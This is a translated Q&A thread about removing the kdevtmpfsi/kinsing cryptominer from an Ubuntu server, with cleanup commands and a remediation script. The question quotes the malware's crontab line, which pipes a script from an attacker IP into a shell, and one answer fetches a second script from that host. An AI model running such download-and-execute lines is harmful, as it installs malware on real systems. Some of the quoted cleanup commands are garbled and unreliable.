我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染了

我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染了

在此处输入图片描述

我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染了,我已经采取了几个步骤来解决这个问题,比如:https://github.com/docker-library/redis/issues/217

但是当带有 redis 的 docker 容器运行时,它仍然会一次又一次地出现。

但还有一件事我无法做到,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done查看所有用户的 crontab 时,这是我的输出:

no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis

crontab 中有一个用于wget下载sh脚本的可疑作业,我找不到如何删除它,而且我不确定当我使用 redis 打开 docker 容器时它是否会再次出现。

看上面的图片,运行该病毒的“用户”是用户“999”,我不知道这是怎么可能的,因为这个用户不存在。

我该怎么做才能解决这个问题?

答案1

做一个

chmod 000 /tmp/kdevtmpfsi

首先。这将终止对该文件的访问

如果可能的话,如果该用户不是您的用户,请从用户提示符处进行操作:

sudo -u fabio
crontab -l 

否则你只需要这两行中的最后一行。如果它在那里

crontab -e

编辑并删除该行。如果没有,crontabs 存储在 中/var/spool/cron/crontabs/。那里会有一个fabio。删除所有内容。

而且它不是病毒。它是一种矿工,可能是您自己安装的,或作为某些软件的一部分安装的。如果不是,请考虑您的服务器已受到攻击,请格式化磁盘并恢复备份。如果您这样做,请坚持使用常规和可信赖的来源。


编辑:发现了更多有关此内容的信息。

也与此相关:

/tmp/zzz  

这似乎是引导文件。在确认您杀死了它或它自己杀死了它之后,也对它进行 chmod 并对其进行核查。

chmod 删除权限,因此矿工无法重新创建文件,也无法写入或读取文件。有效地杀死它。然后开始寻找文件。核查 /tmp/* /var/tmp/*kinsing中带有 的任何内容以及上面列出的文件。

尝试在一个命令中执行删除,这样它就没有机会初始化自身。

有趣的github 上有关如何删除它的主题。


已记录在这里。众所周知,除非您自己设置了适当的保护措施,否则 Redis 很容易受到黑客攻击。

答案2

我的服务器通过 postgres 感染了此比特币木马。就我而言,没有容器。上述所有解释都相符,但很明显脚本得到了改进,使得检测和杀灭更加困难。主要变化是 kdevtmpfsi 文件立即重命名为随机的 8 个字符字符串,kinsing 文件会在几秒钟内出现和消失。在我避免文件重命名后,kdevtmpfsi 出现了顶级进程。在我将权限更改为 000 并将大小更改为 0 后,有人(不是病毒)更改了文件名。此外,我确实删除了 crontab 条目,但它在 1 天后又回来了。

今天当我再次登录时,发现我删除的文件不见了,但有符号链接,这显然是有人手动干预,不知何故获得了 root 访问权限。所以我重复了这个过程并sudo再次更改了所有密码,但似乎文件并没有消失。我仍然看到反复尝试 ssh root,但没有成功。

对于那些好奇的人来说,这里有一些我用来追踪和禁用这个比特币木马的命令:

$ netstat -a -t|grep 'ssh'

$ ls -l /var /var/tmp|grep 'postgres'

$ sudo ps -u postgres|grep 'kdevtmpfsi'>ps.txt
$ echo -n "sudo kill -9 ">./tmp.sh
$ sudo cat psid.txt>>./tmp.sh
$ set +x tmp.sh
$ sudo rm /tmp/kdevtmpfsi

$ sudo crontab -u postgres -l
$ sudo crontab -u postgres -r

$ sudo curl http://195.3.146.118/pg.sh

$ sudo kill -9 ..

答案3

在某些情况下,这可能是由于在 Laravel 包(facade/ignition)<= v8.4.2 中发现安全漏洞造成的。 CVE-2021-3129

这里有一篇文章解释了该恶意软件的工作原理:Laravel <= v8.4.2 调试模式:远程代码执行(CVE-2021-3129)

如果我处于你的位置,我会认为你的实例已受到攻击并创建一个新的实例。在我进行的测试中,恶意软件会改变位置并适应对系统所做的更改,以试图阻止它。

答案4

Kdevtmpfsi 是一种加密挖掘病毒。请每隔 1 分钟在 crond 服务中运行以下脚本,或者您可以根据您的服务器选择时间间隔。

#!/bin/bash
report=/var/log/incident.log
if [  -f "$report" ]
then
echo
else
touch $report
fi
chattr +i /tmp/kdevtmpfsi

fixing () {
rm -rfv /tmp/kdevtmpfsi*
touch /tmp/kdevtmpfsi
rm -rfv /tmp/cron*
kill -9 $((ps -aux | grep -i 'kdevtmpfsi\|kinsing') 2>/dev/null |grep -v grep |awk '{print $2}')
cat /var/spool/cron/zimbra |grep -i unk.sh && rm -rfv /var/spool/cron/zimbra
kin=$(ls /opt/zimbra/log/ |grep -i kinsing) && rm -rfv /opt/zimbra/log/${kin}
}
log () {
 echo  "$(date) by user:$(whoami) executed:<$0> virus:kdevtmpfsi action:>killed Pattern:spoofing Target:<CPU> host:$(hostname):<$(curl -s ident.me)>" >> $report
}
fixing
log

注意:此脚本的运行日志将保存在/var/log/incident.log中

相关内容